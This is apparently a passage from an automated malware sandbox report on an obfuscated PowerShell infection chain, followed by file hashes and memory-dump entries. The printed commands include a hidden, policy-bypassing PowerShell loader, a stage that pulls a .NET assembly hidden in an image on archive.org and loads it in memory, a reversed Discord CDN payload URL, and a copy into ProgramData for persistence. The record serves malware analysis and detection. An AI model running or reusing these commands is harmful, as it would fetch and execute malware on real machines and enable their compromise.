◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖bgBk⽦ ◇ ⤸ ⦺ ⥖Ck⽦ ◇ ⤸ ⦺ ⥖Ow⽦ ◇ ⤸ ⦺ ⥖k⽦ ◇ ⤸ ⦺ ⥖Gw⽦ ◇ ⤸ ⦺ ⥖bwBh⽦ ◇ ⤸ ⦺ ⥖GQ⽦ ◇ ⤸ ⦺ ⥖ZQBk⽦ ◇ ⤸ ⦺ ⥖EE⽦ ◇ ⤸ ⦺ ⥖cwBz⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖bQBi⽦ ◇ ⤸ ⦺ ⥖Gw⽦ ◇ ⤸ ⦺ ⥖eQ⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖D0⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖Bb⽦ ◇ ⤸ ⦺ ⥖FM⽦ ◇ ⤸ ⦺ ⥖eQBz⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖ZQBt⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖UgBl⽦ ◇ ⤸ ⦺ ⥖GY⽦ ◇ ⤸ ⦺ ⥖b⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖GM⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖Bp⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖bg⽦ ◇ ⤸ ⦺ ⥖u⽦ ◇ ⤸ ⦺ ⥖EE⽦ ◇ ⤸ ⦺ ⥖cwBz⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖bQBi⽦ ◇ ⤸ ⦺ ⥖Gw⽦ ◇ ⤸ ⦺ ⥖eQBd⽦ ◇ ⤸ ⦺ ⥖Do⽦ ◇ ⤸ ⦺ ⥖OgBM⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖YQBk⽦ ◇ ⤸ ⦺ ⥖Cg⽦ ◇ ⤸ ⦺ ⥖J⽦ ◇ ⤸ ⦺ ⥖Bj⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖bQBt⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖bgBk⽦ ◇ ⤸ ⦺ ⥖EI⽦ ◇ ⤸ ⦺ ⥖eQB0⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖cw⽦ ◇ ⤸ ⦺ ⥖p⽦ ◇ ⤸ ⦺ ⥖Ds⽦ ◇ ⤸ ⦺ ⥖J⽦ ◇ ⤸ ⦺ ⥖B0⽦ ◇ ⤸ ⦺ ⥖Hk⽦ ◇ ⤸ ⦺ ⥖c⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖PQ⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖b⽦ ◇ ⤸ ⦺ ⥖Bv⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖GQ⽦ ◇ ⤸ ⦺ ⥖QQBz⽦ ◇ ⤸ ⦺ ⥖HM⽦ ◇ ⤸ ⦺ ⥖ZQBt⽦ ◇ ⤸ ⦺ ⥖GI⽦ ◇ ⤸ ⦺ ⥖b⽦ ◇ ⤸ ⦺ ⥖B5⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖RwBl⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖V⽦ ◇ ⤸ ⦺ ⥖B5⽦ ◇ ⤸ ⦺ ⥖H⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖ZQ⽦ ◇ ⤸ ⦺ ⥖o⽦ ◇ ⤸ ⦺ ⥖Cc⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖Bu⽦ ◇ ⤸ ⦺ ⥖Gw⽦ ◇ ⤸ ⦺ ⥖aQBi⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖SQBP⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖S⽦ ◇ ⤸ ⦺ ⥖Bv⽦ ◇ ⤸ ⦺ ⥖G0⽦ ◇ ⤸ ⦺ ⥖ZQ⽦ ◇ ⤸ ⦺ ⥖n⽦ ◇ ⤸ ⦺ ⥖Ck⽦ ◇ ⤸ ⦺ ⥖Ow⽦ ◇ ⤸ ⦺ ⥖k⽦ ◇ ⤸ ⦺ ⥖G0⽦ ◇ ⤸ ⦺ ⥖ZQB0⽦ ◇ ⤸ ⦺ ⥖Gg⽦ ◇ ⤸ ⦺ ⥖bwBk⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖PQ⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖B5⽦ ◇ ⤸ ⦺ ⥖H⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖ZQ⽦ ◇ ⤸ ⦺ ⥖u⽦ ◇ ⤸ ⦺ ⥖Ec⽦ ◇ ⤸ ⦺ ⥖ZQB0⽦ ◇ ⤸ ⦺ ⥖E0⽦ ◇ ⤸ ⦺ ⥖ZQB0⽦ ◇ ⤸ ⦺ ⥖Gg⽦ ◇ ⤸ ⦺ ⥖bwBk⽦ ◇ ⤸ ⦺ ⥖Cg⽦ ◇ ⤸ ⦺ ⥖JwBW⽦ ◇ ⤸ ⦺ ⥖EE⽦ ◇ ⤸ ⦺ ⥖SQ⽦ ◇ ⤸ ⦺ ⥖n⽦ ◇ ⤸ ⦺ ⥖Ck⽦ ◇ ⤸ ⦺ ⥖LgBJ⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖dgBv⽦ ◇ ⤸ ⦺ ⥖Gs⽦ ◇ ⤸ ⦺ ⥖ZQ⽦ ◇ ⤸ ⦺ ⥖o⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖bgB1⽦ ◇ ⤸ ⦺ ⥖Gw⽦ ◇ ⤸ ⦺ ⥖b⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖s⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖WwBv⽦ ◇ ⤸ ⦺ ⥖GI⽦ ◇ ⤸ ⦺ ⥖agBl⽦ ◇ ⤸ ⦺ ⥖GM⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖Bb⽦ ◇ ⤸ ⦺ ⥖F0⽦ ◇ ⤸ ⦺ ⥖XQ⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖Cg⽦ ◇ ⤸ ⦺ ⥖Jw⽦ ◇ ⤸ ⦺ ⥖m⽦ ◇ ⤸ ⦺ ⥖Dg⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖Bi⽦ ◇ ⤸ ⦺ ⥖DU⽦ ◇ ⤸ ⦺ ⥖O⽦ ◇ ⤸ ⦺ ⥖Bm⽦ ◇ ⤸ ⦺ ⥖GM⽦ ◇ ⤸ ⦺ ⥖NgBi⽦ ◇ ⤸ ⦺ ⥖DY⽦ ◇ ⤸ ⦺ ⥖N⽦ ◇ ⤸ ⦺ ⥖Bh⽦ ◇ ⤸ ⦺ ⥖GI⽦ ◇ ⤸ ⦺ ⥖NQ⽦ ◇ ⤸ ⦺ ⥖3⽦ ◇ ⤸ ⦺ ⥖DE⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖4⽦ ◇ ⤸ ⦺ ⥖GM⽦ ◇ ⤸ ⦺ ⥖ZgBk⽦ ◇ ⤸ ⦺ ⥖GY⽦ ◇ ⤸ ⦺ ⥖NwBh⽦ ◇ ⤸ ⦺ ⥖GM⽦ ◇ ⤸ ⦺ ⥖MgBj⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖O⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖y⽦ ◇ ⤸ ⦺ ⥖GY⽦ ◇ ⤸ ⦺ ⥖OQ⽦ ◇ ⤸ ⦺ ⥖w⽦ ◇ ⤸ ⦺ ⥖Dg⽦ ◇ ⤸ ⦺ ⥖MQBh⽦ ◇ ⤸ ⦺ ⥖DI⽦ ◇ ⤸ ⦺ ⥖MQ⽦ ◇ ⤸ ⦺ ⥖1⽦ ◇ ⤸ ⦺ ⥖DM⽦ ◇ ⤸ ⦺ ⥖YwBi⽦ ◇ ⤸ ⦺ ⥖Dk⽦ ◇ ⤸ ⦺ ⥖MQ⽦ ◇ ⤸ ⦺ ⥖w⽦ ◇ ⤸ ⦺ ⥖DI⽦ ◇ ⤸ ⦺ ⥖N⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖x⽦ ◇ ⤸ ⦺ ⥖DM⽦ ◇ ⤸ ⦺ ⥖YgBk⽦ ◇ ⤸ ⦺ ⥖GM⽦ ◇ ⤸ ⦺ ⥖Zg⽦ ◇ ⤸ ⦺ ⥖4⽦ ◇ ⤸ ⦺ ⥖GQ⽦ ◇ ⤸ ⦺ ⥖O⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖2⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖M⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖2⽦ ◇ ⤸ ⦺ ⥖GM⽦ ◇ ⤸ ⦺ ⥖M⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖4⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖PQBt⽦ ◇ ⤸ ⦺ ⥖Gg⽦ ◇ ⤸ ⦺ ⥖Jg⽦ ◇ ⤸ ⦺ ⥖3⽦ ◇ ⤸ ⦺ ⥖GQ⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖y⽦ ◇ ⤸ ⦺ ⥖Dk⽦ ◇ ⤸ ⦺ ⥖Yg⽦ ◇ ⤸ ⦺ ⥖2⽦ ◇ ⤸ ⦺ ⥖DY⽦ ◇ ⤸ ⦺ ⥖PQBz⽦ ◇ ⤸ ⦺ ⥖Gk⽦ ◇ ⤸ ⦺ ⥖Jg⽦ ◇ ⤸ ⦺ ⥖3⽦ ◇ ⤸ ⦺ ⥖DU⽦ ◇ ⤸ ⦺ ⥖Zg⽦ ◇ ⤸ ⦺ ⥖3⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖Yg⽦ ◇ ⤸ ⦺ ⥖2⽦ ◇ ⤸ ⦺ ⥖DY⽦ ◇ ⤸ ⦺ ⥖PQB4⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖PwB0⽦ ◇ ⤸ ⦺ ⥖Hg⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖u⽦ ◇ ⤸ ⦺ ⥖Hg⽦ ◇ ⤸ ⦺ ⥖dQBt⽦ ◇ ⤸ ⦺ ⥖HI⽦ ◇ ⤸ ⦺ ⥖Lw⽦ ◇ ⤸ ⦺ ⥖2⽦ ◇ ⤸ ⦺ ⥖Dc⽦ ◇ ⤸ ⦺ ⥖Nw⽦ ◇ ⤸ ⦺ ⥖2⽦ ◇ ⤸ ⦺ ⥖Dk⽦ ◇ ⤸ ⦺ ⥖Nw⽦ ◇ ⤸ ⦺ ⥖1⽦ ◇ ⤸ ⦺ ⥖Dk⽦ ◇ ⤸ ⦺ ⥖O⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖3⽦ ◇ ⤸ ⦺ ⥖DE⽦ ◇ ⤸ ⦺ ⥖N⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖5⽦ ◇ ⤸ ⦺ ⥖DE⽦ ◇ ⤸ ⦺ ⥖Mg⽦ ◇ ⤸ ⦺ ⥖x⽦ ◇ ⤸ ⦺ ⥖Dc⽦ ◇ ⤸ ⦺ ⥖Mg⽦ ◇ ⤸ ⦺ ⥖x⽦ ◇ ⤸ ⦺ ⥖C8⽦ ◇ ⤸ ⦺ ⥖M⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖z⽦ ◇ ⤸ ⦺ ⥖Dg⽦ ◇ ⤸ ⦺ ⥖O⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖0⽦ ◇ ⤸ ⦺ ⥖DE⽦ ◇ ⤸ ⦺ ⥖Mw⽦ ◇ ⤸ ⦺ ⥖w⽦ ◇ ⤸ ⦺ ⥖D⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖Mg⽦ ◇ ⤸ ⦺ ⥖0⽦ ◇ ⤸ ⦺ ⥖Dg⽦ ◇ ⤸ ⦺ ⥖Nw⽦ ◇ ⤸ ⦺ ⥖y⽦ ◇ ⤸ ⦺ ⥖DY⽦ ◇ ⤸ ⦺ ⥖OQ⽦ ◇ ⤸ ⦺ ⥖5⽦ ◇ ⤸ ⦺ ⥖DE⽦ ◇ ⤸ ⦺ ⥖MQ⽦ ◇ ⤸ ⦺ ⥖v⽦ ◇ ⤸ ⦺ ⥖HM⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖Bu⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖bQBo⽦ ◇ ⤸ ⦺ ⥖GM⽦ ◇ ⤸ ⦺ ⥖YQB0⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖YQ⽦ ◇ ⤸ ⦺ ⥖v⽦ ◇ ⤸ ⦺ ⥖G0⽦ ◇ ⤸ ⦺ ⥖bwBj⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖c⽦ ◇ ⤸ ⦺ ⥖Bw⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖By⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖YwBz⽦ ◇ ⤸ ⦺ ⥖Gk⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖u⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖Bj⽦ ◇ ⤸ ⦺ ⥖C8⽦ ◇ ⤸ ⦺ ⥖Lw⽦ ◇ ⤸ ⦺ ⥖6⽦ ◇ ⤸ ⦺ ⥖HM⽦ ◇ ⤸ ⦺ ⥖c⽦ ◇ ⤸ ⦺ ⥖B0⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖a⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖n⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖L⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖Cc⽦ ◇ ⤸ ⦺ ⥖MQ⽦ ◇ ⤸ ⦺ ⥖n⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖L⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖Cc⽦ ◇ ⤸ ⦺ ⥖Qw⽦ ◇ ⤸ ⦺ ⥖6⽦ ◇ ⤸ ⦺ ⥖Fw⽦ ◇ ⤸ ⦺ ⥖U⽦ ◇ ⤸ ⦺ ⥖By⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖ZwBy⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖bQBE⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖Bh⽦ ◇ ⤸ ⦺ ⥖Fw⽦ ◇ ⤸ ⦺ ⥖Jw⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖Cw⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖n⽦ ◇ ⤸ ⦺ ⥖Gk⽦ ◇ ⤸ ⦺ ⥖cgBy⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖YwBp⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖bgBh⽦ ◇ ⤸ ⦺ ⥖Gw⽦ ◇ ⤸ ⦺ ⥖Jw⽦ ◇ ⤸ ⦺ ⥖s⽦ ◇ ⤸ ⦺ ⥖Cc⽦ ◇ ⤸ ⦺ ⥖QQBk⽦ ◇ ⤸ ⦺ ⥖GQ⽦ ◇ ⤸ ⦺ ⥖SQBu⽦ ◇ ⤸ ⦺ ⥖F⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖cgBv⽦ ◇ ⤸ ⦺ ⥖GM⽦ ◇ ⤸ ⦺ ⥖ZQBz⽦ ◇ ⤸ ⦺ ⥖HM⽦ ◇ ⤸ ⦺ ⥖Mw⽦ ◇ ⤸ ⦺ ⥖y⽦ ◇ ⤸ ⦺ ⥖Cc⽦ ◇ ⤸ ⦺ ⥖L⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖n⽦ ◇ ⤸ ⦺ ⥖GQ⽦ ◇ ⤸ ⦺ ⥖ZQBz⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖Bp⽦ ◇ ⤸ ⦺ ⥖HY⽦ ◇ ⤸ ⦺ ⥖YQBk⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖Jw⽦ ◇ ⤸ ⦺ ⥖p⽦ ◇ ⤸ ⦺ ⥖Ck⽦ ◇ ⤸ ⦺ ⥖';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('⽦ ◇ ⤸ ⦺ ⥖','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4604
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('&8db58fc6b64ab571d8cfdf7ac2ce82f9081a2153cb9102413bdcf8d86a06c08a=mh&7dd29b66=si&75f7ab66=xe?txt.xumr/6776975987149121721/0388413002487269911/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , '1' , 'C:\ProgramData\' , 'irracional','AddInProcess32','desativado'))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\irracional.js"
          4⤵
            PID:1984

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      64B

      MD5

      d8b9a260789a22d72263ef3bb119108c

      SHA1

      376a9bd48726f422679f2cd65003442c0b6f6dd5

      SHA256

      d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

      SHA512

      550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yhykscln.bzk.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/1484-23-0x000001B67F260000-0x000001B67F382000-memory.dmp

      Filesize

      1.1MB

      Download

    • memory/4604-0-0x00007FFF77D63000-0x00007FFF77D65000-memory.dmp

      Filesize

      8KB

      Download

    • memory/4604-1-0x000002AA4FAF0000-0x000002AA4FB12000-memory.dmp

      Filesize

      136KB

      Download

    • memory/4604-11-0x00007FFF77D60000-0x00007FFF78821000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4604-12-0x00007FFF77D60000-0x00007FFF78821000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4604-13-0x00007FFF77D60000-0x00007FFF78821000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/4604-30-0x00007FFF77D60000-0x00007FFF78821000-memory.dmp

      Filesize

      10.8MB

      Download